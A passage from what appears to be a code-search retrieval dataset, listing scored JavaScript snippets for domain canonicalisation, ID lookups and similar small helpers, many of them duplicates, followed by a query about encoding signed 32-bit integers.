"559e37508d38b0b01fa68ceb3c833cdc", "score": "0.4851841", "text": "function getSelectedDomain() {\n var dName = document.getElementById(\"domainName\");\n var selectedDomain = dName.options[dName.selectedIndex].value;\n \n\treturn selectedDomain;\n} // end of \"getSelectedDomain\" function", "title": "" }, { "docid": "9596a8d21ab8d77fe2ac1c22f8f40519", "score": "0.48471597", "text": "function canonicalDomain(str) {\n if (str == null) {\n return null;\n }\n str = str.trim().replace(/^\\./, ''); // S4.1.2.3 & S5.2.3: ignore leading .\n\n // convert to IDN if any non-ASCII characters\n if (punycode && /[^\\u0001-\\u007f]/.test(str)) {\n str = punycode.toASCII(str);\n }\n\n return str.toLowerCase();\n }", "title": "" }, { "docid": "580151f592b8aca90a08fced0e239011", "score": "0.482986", "text": "function get_an_id() {\n\t\t\tlet id = json_resp ? json_resp.id : null;\t\t\t\t\t\t\t\t// use component's id if its a single component\n\t\t\tif (json_resp && Array.isArray(json_resp) && json_resp[0]) {\t\t\t// if its an array, its a raft cluster, get display name\n\t\t\t\tid = json_resp[0].display_name;\t\t\t\t\t\t\t\t\t\t// use first orderer, all are the same\n\t\t\t}\n\t\t\treturn id;\n\t\t}", "title": "" }, { "docid": "7cb7780e63554540f669336ebda8cff8", "score": "0.4828514", "text": "function getChannelID (name) {\n let doitlivechannel = null\n for (var i = 0, j = fullChannelList.length; i < j; i++) {\n if (fullChannelList[i].name === name) {\n doitlivechannel = fullChannelList[i]\n }\n }\n\n if (doitlivechannel === null) {\n return doitlivechannel\n } else {\n return doitlivechannel.id\n }\n}", "title": "" }, { "docid": "55b1bf82d2c7b60d22d7626f08070b0b", "score": "0.48275885", "text": "function getBaseId(base_name) {\r\n\treturn base_name.split(\" \").join(\"_\").split(\"-\").join(\"_\").split(\"s'\").join(\"s\").split(\"'s\").join(\"s\");\r\n}", "title": "" }, { "docid": "af0613b80c1f192f4b5b5e62457bf3e7", "score": "0.479943", "text": "function uomGetCourseId() {\n var uomCourseId = ENV.COURSE_ID || ENV.course_id;\n if (!uomCourseId) {\n var urlPartIncludingCourseId = window.location.href.split(\"courses/\")[1];\n if (urlPartIncludingCourseId) {\n uomCourseId = urlPartIncludingCourseId.split(\"/\")[0];\n }\n }\n return uomCourseId;\n}", "title": "" }, { "docid": "b949f13b15107ed2f03710c4b86bddf0", "score": "0.47955602", "text": "get id () {\n return this.constructor.name.replace(/(\\w+)Email/, '$1').toLowerCase()\n }", "title": "" }, { "docid": "2f6dba8638593a304f4865e2acf7784b", "score": "0.47946474", "text": "getGlobalIdentifier() {\n return `claim-${this.identifier}-${this.version}`;\n }", "title": "" }, { "docid": "4a7b5ef2d2eeb8866c06765216e1a2ad", "score": "0.47939235", "text": "function getChannel(dc)\n{\n var channel;\n switch(dc) {\n case \"light\":\n channel = config.lightChannel;\n break;\n case \"chaos\":\n channel = config.chaosChannel;\n break;\n case \"na\":\n channel = config.aetherChannel;\n break;\n // Here for completion's sake but currently all use same channel\n case \"aether\":\n channel = config.aetherChannel;\n break;\n case \"primal\":\n channel = config.primalChannel;\n break;\n case \"crystal\":\n channel = config.crystalChannel;\n break;\n default:\n channel = null;\n break;\n }\n return channel;\n}", "title": "" }, { "docid": "d7de8c0c6e85c8802f9bbd257441923b", "score": "0.47929448", "text": "function uomGetCourseId() {\n var uomCourseId = ENV.COURSE_ID || ENV.course_id;\n if (!uomCourseId) {\n var urlPartIncludingCourseId = window.location.href.split(\"courses/\")[1];\n if (urlPartIncludingCourseId) {\n uomCourseId = urlPartIncludingCourseId.split(\"/\")[0];\n }\n }\n return uomCourseId;\n }", "title": "" }, { "docid": "49f9da891f0720d935d6f1198c8b77db", "score": "0.4790207", "text": "function getVTIDfromCC(ccid) {\n\tvar returnid = \"\";\n\ttry {\n\t\tvar cc2vt = new CC2VT(ccid);\n\t\tSystem.out.println(cc2vt);\n\t\tvar ccresp = cc2vt.Post(ccws);\n\t\treturnid = ccresp.getVitalityID();\n\t\tif (returnid == \"\" || returnid == null) {\n\t\t\tthrow \"Error: Can't get Vitality ID from CC Service : \" + ccws;\n\t\t}\n\n\t} catch (err) {\n\t\tSystem.out.println(err);\n\t\tthrow \"Customer Corner VT Service error.\" + ccws + err;\n\t}\n\treturn returnid;\n}", "title": "" }, { "docid": "b826445a24667705af5f4b3a4ebe5b48", "score": "0.4786223", "text": "function canonicalDomain(str) {\n if (str == null) {\n return null;\n }\n str = str.trim().replace(/^\\./, \"\"); // S4.1.2.3 & S5.2.3: ignore leading .\n\n // convert to IDN if any non-ASCII characters\n if (punycode && /[^\\u0001-\\u007f]/.test(str)) {\n str = punycode.toASCII(str);\n }\n\n return str.toLowerCase();\n}", "title": "" }, { "docid": "b826445a24667705af5f4b3a4ebe5b48", "score": "0.4786223", "text": "function canonicalDomain(str) {\n if (str == null) {\n return null;\n }\n str = str.trim().replace(/^\\./, \"\"); // S4.1.2.3 & S5.2.3: ignore leading .\n\n // convert to IDN if any non-ASCII characters\n if (punycode && /[^\\u0001-\\u007f]/.test(str)) {\n str = punycode.toASCII(str);\n }\n\n return str.toLowerCase();\n}", "title": "" }, { "docid": "42a69a2a2ae5f0b533fc8dedf24f7156", "score": "0.4782341", "text": "function canonicalDomain(str) {\n if (str == null) {\n return null;\n }\n str = str.trim().replace(/^\\./,''); // S4.1.2.3 & S5.2.3: ignore leading .\n\n // convert to IDN if any non-ASCII characters\n if (punycode && /[^\\u0001-\\u007f]/.test(str)) {\n str = punycode.toASCII(str);\n }\n\n return str.toLowerCase();\n}", "title": "" }, { "docid": "42a69a2a2ae5f0b533fc8dedf24f7156", "score": "0.4782341", "text": "function canonicalDomain(str) {\n if (str == null) {\n return null;\n }\n str = str.trim().replace(/^\\./,''); // S4.1.2.3 & S5.2.3: ignore leading .\n\n // convert to IDN if any non-ASCII characters\n if (punycode && /[^\\u0001-\\u007f]/.test(str)) {\n str = punycode.toASCII(str);\n }\n\n return str.toLowerCase();\n}", "title": "" }, { "docid": "42a69a2a2ae5f0b533fc8dedf24f7156", "score": "0.4782341", "text": "function canonicalDomain(str) {\n if (str == null) {\n return null;\n }\n str = str.trim().replace(/^\\./,''); // S4.1.2.3 & S5.2.3: ignore leading .\n\n // convert to IDN if any non-ASCII characters\n if (punycode && /[^\\u0001-\\u007f]/.test(str)) {\n str = punycode.toASCII(str);\n }\n\n return str.toLowerCase();\n}", "title": "" }, { "docid": "42a69a2a2ae5f0b533fc8dedf24f7156", "score": "0.4782341", "text": "function canonicalDomain(str) {\n if (str == null) {\n return null;\n }\n str = str.trim().replace(/^\\./,''); // S4.1.2.3 & S5.2.3: ignore leading .\n\n // convert to IDN if any non-ASCII characters\n if (punycode && /[^\\u0001-\\u007f]/.test(str)) {\n str = punycode.toASCII(str);\n }\n\n return str.toLowerCase();\n}", "title": "" }, { "docid": "42a69a2a2ae5f0b533fc8dedf24f7156", "score": "0.4782341", "text": "function canonicalDomain(str) {\n if (str == null) {\n return null;\n }\n str = str.trim().replace(/^\\./,''); // S4.1.2.3 & S5.2.3: ignore leading .\n\n // convert to IDN if any non-ASCII characters\n if (punycode && /[^\\u0001-\\u007f]/.test(str)) {\n str = punycode.toASCII(str);\n }\n\n return str.toLowerCase();\n}", "title": "" }, { "docid": "42a69a2a2ae5f0b533fc8dedf24f7156", "score": "0.4782341", "text": "function canonicalDomain(str) {\n if (str == null) {\n return null;\n }\n str = str.trim().replace(/^\\./,''); // S4.1.2.3 & S5.2.3: ignore leading .\n\n // convert to IDN if any non-ASCII characters\n if (punycode && /[^\\u0001-\\u007f]/.test(str)) {\n str = punycode.toASCII(str);\n }\n\n return str.toLowerCase();\n}", "title": "" }, { "docid": "42a69a2a2ae5f0b533fc8dedf24f7156", "score": "0.4782341", "text": "function canonicalDomain(str) {\n if (str == null) {\n return null;\n }\n str = str.trim().replace(/^\\./,''); // S4.1.2.3 & S5.2.3: ignore leading .\n\n // convert to IDN if any non-ASCII characters\n if (punycode && /[^\\u0001-\\u007f]/.test(str)) {\n str = punycode.toASCII(str);\n }\n\n return str.toLowerCase();\n}", "title": "" }, { "docid": "42a69a2a2ae5f0b533fc8dedf24f7156", "score": "0.4782341", "text": "function canonicalDomain(str) {\n if (str == null) {\n return null;\n }\n str = str.trim().replace(/^\\./,''); // S4.1.2.3 & S5.2.3: ignore leading .\n\n // convert to IDN if any non-ASCII characters\n if (punycode && /[^\\u0001-\\u007f]/.test(str)) {\n str = punycode.toASCII(str);\n }\n\n return str.toLowerCase();\n}", "title": "" }, { "docid": "42a69a2a2ae5f0b533fc8dedf24f7156", "score": "0.4782341", "text": "function canonicalDomain(str) {\n if (str == null) {\n return null;\n }\n str = str.trim().replace(/^\\./,''); // S4.1.2.3 & S5.2.3: ignore leading .\n\n // convert to IDN if any non-ASCII characters\n if (punycode && /[^\\u0001-\\u007f]/.test(str)) {\n str = punycode.toASCII(str);\n }\n\n return str.toLowerCase();\n}", "title": "" }, { "docid": "42a69a2a2ae5f0b533fc8dedf24f7156", "score": "0.4782341", "text": "function canonicalDomain(str) {\n if (str == null) {\n return null;\n }\n str = str.trim().replace(/^\\./,''); // S4.1.2.3 & S5.2.3: ignore leading .\n\n // convert to IDN if any non-ASCII characters\n if (punycode && /[^\\u0001-\\u007f]/.test(str)) {\n str = punycode.toASCII(str);\n }\n\n return str.toLowerCase();\n}", "title": "" }, { "docid": "42a69a2a2ae5f0b533fc8dedf24f7156", "score": "0.4782341", "text": "function canonicalDomain(str) {\n if (str == null) {\n return null;\n }\n str = str.trim().replace(/^\\./,''); // S4.1.2.3 & S5.2.3: ignore leading .\n\n // convert to IDN if any non-ASCII characters\n if (punycode && /[^\\u0001-\\u007f]/.test(str)) {\n str = punycode.toASCII(str);\n }\n\n return str.toLowerCase();\n}", "title": "" }, { "docid": "42a69a2a2ae5f0b533fc8dedf24f7156", "score": "0.4782341", "text": "function canonicalDomain(str) {\n if (str == null) {\n return null;\n }\n str = str.trim().replace(/^\\./,''); // S4.1.2.3 & S5.2.3: ignore leading .\n\n // convert to IDN if any non-ASCII characters\n if (punycode && /[^\\u0001-\\u007f]/.test(str)) {\n str = punycode.toASCII(str);\n }\n\n return str.toLowerCase();\n}", "title": "" }, { "docid": "42a69a2a2ae5f0b533fc8dedf24f7156", "score": "0.4782341", "text": "function canonicalDomain(str) {\n if (str == null) {\n return null;\n }\n str = str.trim().replace(/^\\./,''); // S4.1.2.3 & S5.2.3: ignore leading .\n\n // convert to IDN if any non-ASCII characters\n if (punycode && /[^\\u0001-\\u007f]/.test(str)) {\n str = punycode.toASCII(str);\n }\n\n return str.toLowerCase();\n}", "title": "" }, { "docid": "42a69a2a2ae5f0b533fc8dedf24f7156", "score": "0.4782341", "text": "function canonicalDomain(str) {\n if (str == null) {\n return null;\n }\n str = str.trim().replace(/^\\./,''); // S4.1.2.3 & S5.2.3: ignore leading .\n\n // convert to IDN if any non-ASCII characters\n if (punycode && /[^\\u0001-\\u007f]/.test(str)) {\n str = punycode.toASCII(str);\n }\n\n return str.toLowerCase();\n}", "title": "" }, { "docid": "42a69a2a2ae5f0b533fc8dedf24f7156", "score": "0.4782341", "text": "function canonicalDomain(str) {\n if (str == null) {\n return null;\n }\n str = str.trim().replace(/^\\./,''); // S4.1.2.3 & S5.2.3: ignore leading .\n\n // convert to IDN if any non-ASCII characters\n if (punycode && /[^\\u0001-\\u007f]/.test(str)) {\n str = punycode.toASCII(str);\n }\n\n return str.toLowerCase();\n}", "title": "" }, { "docid": "42a69a2a2ae5f0b533fc8dedf24f7156", "score": "0.4782341", "text": "function canonicalDomain(str) {\n if (str == null) {\n return null;\n }\n str = str.trim().replace(/^\\./,''); // S4.1.2.3 & S5.2.3: ignore leading .\n\n // convert to IDN if any non-ASCII characters\n if (punycode && /[^\\u0001-\\u007f]/.test(str)) {\n str = punycode.toASCII(str);\n }\n\n return str.toLowerCase();\n}", "title": "" }, { "docid": "42a69a2a2ae5f0b533fc8dedf24f7156", "score": "0.4782341", "text": "function canonicalDomain(str) {\n if (str == null) {\n return null;\n }\n str = str.trim().replace(/^\\./,''); // S4.1.2.3 & S5.2.3: ignore leading .\n\n // convert to IDN if any non-ASCII characters\n if (punycode && /[^\\u0001-\\u007f]/.test(str)) {\n str = punycode.toASCII(str);\n }\n\n return str.toLowerCase();\n}", "title": "" }, { "docid": "42a69a2a2ae5f0b533fc8dedf24f7156", "score": "0.4782341", "text": "function canonicalDomain(str) {\n if (str == null) {\n return null;\n }\n str = str.trim().replace(/^\\./,''); // S4.1.2.3 & S5.2.3: ignore leading .\n\n // convert to IDN if any non-ASCII characters\n if (punycode && /[^\\u0001-\\u007f]/.test(str)) {\n str = punycode.toASCII(str);\n }\n\n return str.toLowerCase();\n}", "title": "" }, { "docid": "42a69a2a2ae5f0b533fc8dedf24f7156", "score": "0.4782341", "text": "function canonicalDomain(str) {\n if (str == null) {\n return null;\n }\n str = str.trim().replace(/^\\./,''); // S4.1.2.3 & S5.2.3: ignore leading .\n\n // convert to IDN if any non-ASCII characters\n if (punycode && /[^\\u0001-\\u007f]/.test(str)) {\n str = punycode.toASCII(str);\n }\n\n return str.toLowerCase();\n}", "title": "" }, { "docid": "42a69a2a2ae5f0b533fc8dedf24f7156", "score": "0.4782341", "text": "function canonicalDomain(str) {\n if (str == null) {\n return null;\n }\n str = str.trim().replace(/^\\./,''); // S4.1.2.3 & S5.2.3: ignore leading .\n\n // convert to IDN if any non-ASCII characters\n if (punycode && /[^\\u0001-\\u007f]/.test(str)) {\n str = punycode.toASCII(str);\n }\n\n return str.toLowerCase();\n}", "title": "" }, { "docid": "42a69a2a2ae5f0b533fc8dedf24f7156", "score": "0.4782341", "text": "function canonicalDomain(str) {\n if (str == null) {\n return null;\n }\n str = str.trim().replace(/^\\./,''); // S4.1.2.3 & S5.2.3: ignore leading .\n\n // convert to IDN if any non-ASCII characters\n if (punycode && /[^\\u0001-\\u007f]/.test(str)) {\n str = punycode.toASCII(str);\n }\n\n return str.toLowerCase();\n}", "title": "" }, { "docid": "42a69a2a2ae5f0b533fc8dedf24f7156", "score": "0.4782341", "text": "function canonicalDomain(str) {\n if (str == null) {\n return null;\n }\n str = str.trim().replace(/^\\./,''); // S4.1.2.3 & S5.2.3: ignore leading .\n\n // convert to IDN if any non-ASCII characters\n if (punycode && /[^\\u0001-\\u007f]/.test(str)) {\n str = punycode.toASCII(str);\n }\n\n return str.toLowerCase();\n}", "title": "" }, { "docid": "42a69a2a2ae5f0b533fc8dedf24f7156", "score": "0.4782341", "text": "function canonicalDomain(str) {\n if (str == null) {\n return null;\n }\n str = str.trim().replace(/^\\./,''); // S4.1.2.3 & S5.2.3: ignore leading .\n\n // convert to IDN if any non-ASCII characters\n if (punycode && /[^\\u0001-\\u007f]/.test(str)) {\n str = punycode.toASCII(str);\n }\n\n return str.toLowerCase();\n}", "title": "" }, { "docid": "42a69a2a2ae5f0b533fc8dedf24f7156", "score": "0.4782341", "text": "function canonicalDomain(str) {\n if (str == null) {\n return null;\n }\n str = str.trim().replace(/^\\./,''); // S4.1.2.3 & S5.2.3: ignore leading .\n\n // convert to IDN if any non-ASCII characters\n if (punycode && /[^\\u0001-\\u007f]/.test(str)) {\n str = punycode.toASCII(str);\n }\n\n return str.toLowerCase();\n}", "title": "" }, { "docid": "42a69a2a2ae5f0b533fc8dedf24f7156", "score": "0.4782341", "text": "function canonicalDomain(str) {\n if (str == null) {\n return null;\n }\n str = str.trim().replace(/^\\./,''); // S4.1.2.3 & S5.2.3: ignore leading .\n\n // convert to IDN if any non-ASCII characters\n if (punycode && /[^\\u0001-\\u007f]/.test(str)) {\n str = punycode.toASCII(str);\n }\n\n return str.toLowerCase();\n}", "title": "" }, { "docid": "42a69a2a2ae5f0b533fc8dedf24f7156", "score": "0.4782341", "text": "function canonicalDomain(str) {\n if (str == null) {\n return null;\n }\n str = str.trim().replace(/^\\./,''); // S4.1.2.3 & S5.2.3: ignore leading .\n\n // convert to IDN if any non-ASCII characters\n if (punycode && /[^\\u0001-\\u007f]/.test(str)) {\n str = punycode.toASCII(str);\n }\n\n return str.toLowerCase();\n}", "title": "" }, { "docid": "42a69a2a2ae5f0b533fc8dedf24f7156", "score": "0.4782341", "text": "function canonicalDomain(str) {\n if (str == null) {\n return null;\n }\n str = str.trim().replace(/^\\./,''); // S4.1.2.3 & S5.2.3: ignore leading .\n\n // convert to IDN if any non-ASCII characters\n if (punycode && /[^\\u0001-\\u007f]/.test(str)) {\n str = punycode.toASCII(str);\n }\n\n return str.toLowerCase();\n}", "title": "" }, { "docid": "42a69a2a2ae5f0b533fc8dedf24f7156", "score": "0.4782341", "text": "function canonicalDomain(str) {\n if (str == null) {\n return null;\n }\n str = str.trim().replace(/^\\./,''); // S4.1.2.3 & S5.2.3: ignore leading .\n\n // convert to IDN if any non-ASCII characters\n if (punycode && /[^\\u0001-\\u007f]/.test(str)) {\n str = punycode.toASCII(str);\n }\n\n return str.toLowerCase();\n}", "title": "" }, { "docid": "a0b562c6add8752022b7bd430833f070", "score": "0.47813672", "text": "function name2Id(name) {\r\n switch(name) {\r\n case \"선불권\":\r\n return \"0\";\r\n case \"종일권\":\r\n return \"1\";\r\n case \"반일권\":\r\n return \"2\";\r\n case \"완전자유이용권-월\":\r\n return \"3\";\r\n case \"자유이용권\":\r\n return \"4\";\r\n case \"반자유이용권-월\":\r\n return \"5\";\r\n case \"미니자유이용권-월\":\r\n return \"6\";\r\n case \"완전자유이용권-보름\":\r\n return \"7\";\r\n case \"자유이용권-보름\":\r\n return \"8\";\r\n case \"반자유이용권-보름\":\r\n return \"9\";\r\n case \"미니자유이용권-보름\":\r\n return \"10\";\r\n case \"야간선불제\":\r\n return \"11\";\r\n case \"야간자유이용권\":\r\n return \"12\";\r\n case \"관리형반\":\r\n return \"13\";\r\n case \"무료이용권\":\r\n return \"14\";\r\n default:\r\n return \"-1\";\r\n }\r\n}", "title": "" }, { "docid": "23c61e5b87bd88a4784cfc3ac33f07c4", "score": "0.47777218", "text": "function domainName(str) {\n const slashInd = str.indexOf('//');\n const wwwInd = str.indexOf('www');\n let domainStart;\n if(wwwInd > -1) {\n domainStart = wwwInd + 4;\n } else {\n if (slashInd > -1) {\n domainStart = slashInd + 2;\n } else {\n domainStart = 0;\n }\n }\n const domainChars = str.indexOf('.', domainStart) - domainStart;\n return str.substr(domainStart, domainChars);\n}", "title": "" }, { "docid": "d31fefa3a56e3afb8ede427d4ff8431f", "score": "0.4753337", "text": "function canonicalDomain(str) {\n\t if (str == null) {\n\t return null;\n\t }\n\t str = str.trim().replace(/^\\./,''); // S4.1.2.3 & S5.2.3: ignore leading .\n\n\t // convert to IDN if any non-ASCII characters\n\t if (punycode && /[^\\u0001-\\u007f]/.test(str)) {\n\t str = punycode.toASCII(str);\n\t }\n\n\t return str.toLowerCase();\n\t}", "title": "" }, { "docid": "8525b50a03096d7165fa8191d076bbaa", "score": "0.4730888", "text": "_getId(name, suffix)\n\t{\n\t\treturn name.replace('.', '_') + '-' + suffix;\n\t}", "title": "" }, { "docid": "116a7373d1fca7dfc6bd11c15d5806c1", "score": "0.47251445", "text": "function getId(description)\n {\n var pattern = /^o=.+/gm\n var result = pattern.exec(description.sdp);\n\n return result[0].substring(2)\n }", "title": "" }, { "docid": "7fa9647dc7536eeafe39333efc97761b", "score": "0.4721038", "text": "function domainType(domains) {\r\n const description = {\r\n org: 'organization',\r\n com: 'commercial',\r\n net: 'network',\r\n info: 'information'\r\n };\r\n\r\n return domains.map(domain => {\r\n let toplevelDomain = domain.slice(domain.lastIndexOf('.') + 1);\r\n return description[toplevelDomain];\r\n });\r\n}", "title": "" }, { "docid": "a5faf7309fdd308ad72d9ee64efc5a22", "score": "0.4718461", "text": "function getSiteId() {\n _log(3,\"Begin getSiteId()\");\n //Check if the page is showing the village instead\n var xpathVillage = xpath(\"//div[@class='village2'] | //div[@class='village1'] \");\n var href = window.location.href;\n if ( xpathVillage.snapshotLength > 0 || href.indexOf(\"messages\") > -1 || href.indexOf(\"berichte\") > -1 || href.indexOf(\"hero\") > -1 || href.indexOf(\"details\") > -1 || href.indexOf(\"karte\") > -1 || href.indexOf(\"statistiken\") > -1 || href.indexOf(\"profile\") > -1 || href.indexOf(\"report\") > -1 ) {\n _log(2, \"getSiteId>This is not a screen that has a building. End getSiteId()\");\n return -6;\n }\n _log(3,\"getSiteId> Trying from URL...\");\n var re = /.*build\\.php\\?([a-z=0-9&]*&)?id=([0-9]{1,2})/i;\n var tSiteId = window.location.href.match(re);\n if(tSiteId != null) {\n tSiteId = parseInt(tSiteId[2]);\n _log(3, \"getSiteId> Building site ID is \" + tSiteId + \". End getSiteId().\");\n return tSiteId;\n }\n _log(2, \"getSiteId> Building site ID not found.... anywhere. End getSiteId();\");\n return -6;\n }", "title": "" }, { "docid": "aa493323c608785f7cc6b4e33b5c70fe", "score": "0.47064492", "text": "function packageIdentifier() {\n var addons = arguments.length > 0 && arguments[0] !== undefined ? arguments[0] : {};\n\n var identifierMap = Object.assign({\n [`${_package2.default.name}`]: _package2.default.version,\n [`${_os2.default.platform()}`]: _os2.default.release(),\n node: process.version.replace('v', '')\n }, addons);\n return Object.keys(identifierMap).reduce(function (acc, k) {\n return `${acc} ${escape(k)}/${escape(identifierMap[k])}`;\n }, '');\n}", "title": "" }, { "docid": "e0cd5d800f5b3b0be9cfbe72b747b3df", "score": "0.47028562", "text": "function getFirstPartyDomain(url) {\n\treturn isFirstPartyIsolated()\n\t.then((isolated) => {\n\t\tif (isolated) {\n\t\t\treturn null\n\t\t} else {\n\t\t\treturn \"\"\n\t\t}\n\t})\n}", "title": "" }, { "docid": "472ecf909ac2a51f11e6bf58ddc3d05f", "score": "0.46923515", "text": "function querySalesRepName( salesrep )\r\n{\r\n var filters = new Array();\r\n filters[0] = new nlobjSearchFilter( 'internalid', null, 'equalTo', salesrep, null );\r\n var columns = new Array();\r\n columns[0] = new nlobjSearchColumn( 'entityid' );\r\n \r\n var searchresults = nlapiSearchRecord( 'contact', null, filters, columns );\r\n var entityid = searchresults[ 0 ].getValue( 'entityid' );\r\n return entityid;\r\n}", "title": "" }, { "docid": "c18c120383d83cfb923ce6ce3f55cf30", "score": "0.4691151", "text": "function getRootDomain(domain) {\n\tif(domain == undefined || domain == null) return null;\n\n\tlet splitArr = domain.split('.'),\n\t\tarrLen = splitArr.length;\n\n\t// grep -e '^[a-zA-Z]\\{2,3\\}\\.[a-zA-Z]\\{2,3\\}$' publicsuffix.txt > publicsuffix-ccSLD.txt\n\t\n\t// Extract the root domain\n\t//http://publicsuffix.org/list/\n\tif (arrLen > 2) {\n\t\t// Checking for double domains with 3 or less characters using publicsuffix-ccSLD.txt. Fixes support *.jd.com for https://item.jd.com\n\t\tif(splitArr[arrLen - 2].length <= 3){\n\t\t\tvar toCheck = splitArr[arrLen - 2] + '.' + splitArr[arrLen - 1]; // co.uk (found) or item.jd.com (not found)\n\t\t\t\n\t\t\tif(neat_url_logging) console.log(\"Probably not desired: \" + toCheck);\n\t\t\tif(neat_url_logging) console.log(\"Probably more desired: \" + splitArr[arrLen - 3] + '.' + splitArr[arrLen - 2] + '.' + splitArr[arrLen - 1]);\n\t\t\t\n\t\t\tif(suffixList.indexOf(toCheck) > -1){\n\t\t\t\t// Example URLs that trigger this code path are https://images.google.co.uk and https://google.co.uk\n\t\t\t\tif(neat_url_logging) console.log(toCheck + \" found in the list!\");\n\n\t\t\t\tdomain = splitArr[arrLen - 3] + '.' + splitArr[arrLen - 2] + '.' + splitArr[arrLen - 1];\n\t\t\t}else{\n\t\t\t\tif(neat_url_logging) console.log(toCheck + \" not found in the list!\");\n\t\t\t\tdomain = splitArr[arrLen - 2] + '.' + splitArr[arrLen - 1];\n\t\t\t}\n\t\t\n\t\t}else{\n\t\t\tdomain = splitArr[arrLen - 2] + '.' + splitArr[arrLen - 1];\n\t\t}\n\t}\n\n\treturn domain;\n}", "title": "" }, { "docid": "46fda9e8650cadeeda1836221d046eeb", "score": "0.4686522", "text": "function domainName(url) {\n\n let name = url.split('.');\n console.log(name)\n for (let i = 0; i < name.length; i++) {\n if (name[i] === \"http://www\") {\n return name[i + 1]\n }\n if (name[i] === \"www\") {\n return name[i + 1]\n }\n if (name[i] = \"https://\") {\n// let value = name[i + 2].split('.')\n// return value\n return name[i+1]\n }\n }\n\n}", "title": "" }, { "docid": "d96f148ce97091ff6265d2f0649a3806", "score": "0.468259", "text": "async function getReleaseId(buildId) {\n const response = await fetch(window.location.origin + '/_next/data/' + buildId + '/purchase.json?password=', {\n headers: {\n accept: '*/*',\n 'accept-language': 'en-US,en;q=0.9,ar;q=0.8',\n 'if-none-match': 'W/\"65b-Pom4TyQ+TJtFlJo0llcjJADMspU\"',\n 'sec-ch-ua': '\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"90\", \"Google Chrome\";v=\"90\"',\n 'sec-ch-ua-mobile': '?0',\n 'sec-fetch-dest': 'empty',\n 'sec-fetch-mode': 'cors',\n 'sec-fetch-site': 'same-origin'\n },\n referrer: window.location.origin + '/countdown',\n referrerPolicy: 'strict-origin-when-cross-origin',\n body: null,\n method: 'GET',\n mode: 'cors',\n credentials: 'include'\n })\n console.log(\"////getReleaseId, response: \", response)\n if (response.status === 200) {\n const responseJSON = await response.json()\n const releaseId = responseJSON?.pageProps?.release?.id\n console.log(\"releaseId: \", releaseId)\n return releaseId\n }\n}", "title": "" }, { "docid": "52b8c5ee6f35e66a926a7f07f11181ab", "score": "0.46791387", "text": "GetInformationsAboutDomainNamesOptions(cartId, domain) {\n let url = `/order/cart/${cartId}/domain/options?`;\n const queryParams = new query_params_1.default();\n if (domain) {\n queryParams.set('domain', domain);\n }\n return this.client.request('GET', url + queryParams.toString());\n }", "title": "" }, { "docid": "e3e72df33c2ac716352600e331f19b41", "score": "0.4676227", "text": "function getSiteId () {\n return $.PercNavigationManager.getSiteName();\n }", "title": "" }, { "docid": "c807088a41d931a6f921dfb5634f0ebf", "score": "0.46752548", "text": "function getDomainIndex (input) {\n var index = input.indexOf(':') + 1\n while (input[index] === '/') {\n index++\n }\n return index\n}", "title": "" } ]
41e89e32f1b687609b25c5004dac464f
We now move onto our friends in the signed number category. Unlike unsigned numbers, we're going to have to worry a bit more about how we put values into arrays. Since we are only worrying about signed 32bit values, we're in slightly better shape. Unfortunately, we really can't do our favorite binary & in this system. It really seems to do the wrong thing. For example: > 32 & 0xff 224 What's happening above is really: 0xe0 & 0xff = 0xe0. However, the results of this aren't treated as a signed number. Ultimately a bad thing. What we're going to want to do is basically create the unsigned equivalent of our representation and pass that off to the wuint functions. To do that we're going to do the following: if the value is positive we can pass it directly off to the equivalent wuint if the value is negative we do the following computation: mb + val + 1, where mb is the maximum unsigned value in that byte size val is the Javascript negative integer As a concrete value, take 128. In signed 16 bits this would be 0xff80. If you do out the computations: 0xffff 128 + 1 0xffff 127 0xff80 You can then encode this value as the signed version. This is really rather hacky, but it should work and get the job done which is our goal here. / A series of checks to make sure we actually have a signed 32bit number
[ { "docid": "92b0d1cbb0c74a712b72d119a4f57428", "score": "0.0", "text": "function verifsint(value, max, min) {\n assert.ok(typeof (value) == 'number',\n 'cannot write a non-number as a number');\n\n assert.ok(value <= max, 'value larger than maximum allowed value');\n\n assert.ok(value >= min, 'value smaller than minimum allowed value');\n\n assert.ok(Math.floor(value) === value, 'value has a fractional component');\n}", "title": "" } ]
[ { "docid": "ce9b9fb7d3a2e7f566c035cc27b9196b", "score": "0.68313843", "text": "function wgint32(val, endian, buffer, offset)\n{\n\tif (endian == 'big') {\n\t\tbuffer[offset] = (val - (val & 0x00ffffff)) / Math.pow(2, 24);\n\t\tbuffer[offset+1] = (val >>> 16) & 0xff;\n\t\tbuffer[offset+2] = (val >>> 8) & 0xff;\n\t\tbuffer[offset+3] = val & 0xff;\n\t} else {\n\t\tbuffer[offset+3] = (val - (val & 0x00ffffff)) /\n\t\t Math.pow(2, 24);\n\t\tbuffer[offset+2] = (val >>> 16) & 0xff;\n\t\tbuffer[offset+1] = (val >>> 8) & 0xff;\n\t\tbuffer[offset] = val & 0xff;\n\t}\n}", "title": "" }, { "docid": "ce9b9fb7d3a2e7f566c035cc27b9196b", "score": "0.68313843", "text": "function wgint32(val, endian, buffer, offset)\n{\n\tif (endian == 'big') {\n\t\tbuffer[offset] = (val - (val & 0x00ffffff)) / Math.pow(2, 24);\n\t\tbuffer[offset+1] = (val >>> 16) & 0xff;\n\t\tbuffer[offset+2] = (val >>> 8) & 0xff;\n\t\tbuffer[offset+3] = val & 0xff;\n\t} else {\n\t\tbuffer[offset+3] = (val - (val & 0x00ffffff)) /\n\t\t Math.pow(2, 24);\n\t\tbuffer[offset+2] = (val >>> 16) & 0xff;\n\t\tbuffer[offset+1] = (val >>> 8) & 0xff;\n\t\tbuffer[offset] = val & 0xff;\n\t}\n}", "title": "" }, { "docid": "b2fe01aa03a00d0d4e68b654ec7e6246", "score": "0.6740151", "text": "function as_signed(value, bits) { var s = 32 - bits; return (value << s) >> s; }", "title": "" }, { "docid": "b2fe01aa03a00d0d4e68b654ec7e6246", "score": "0.6740151", "text": "function as_signed(value, bits) { var s = 32 - bits; return (value << s) >> s; }", "title": "" }, { "docid": "b2fe01aa03a00d0d4e68b654ec7e6246", "score": "0.6740151", "text": "function as_signed(value, bits) { var s = 32 - bits; return (value << s) >> s; }", "title": "" }, { "docid": "b2fe01aa03a00d0d4e68b654ec7e6246", "score": "0.6740151", "text": "function as_signed(value, bits) { var s = 32 - bits; return (value << s) >> s; }", "title": "" }, { "docid": "b2fe01aa03a00d0d4e68b654ec7e6246", "score": "0.6740151", "text": "function as_signed(value, bits) { var s = 32 - bits; return (value << s) >> s; }", "title": "" }, { "docid": "b2fe01aa03a00d0d4e68b654ec7e6246", "score": "0.6740151", "text": "function 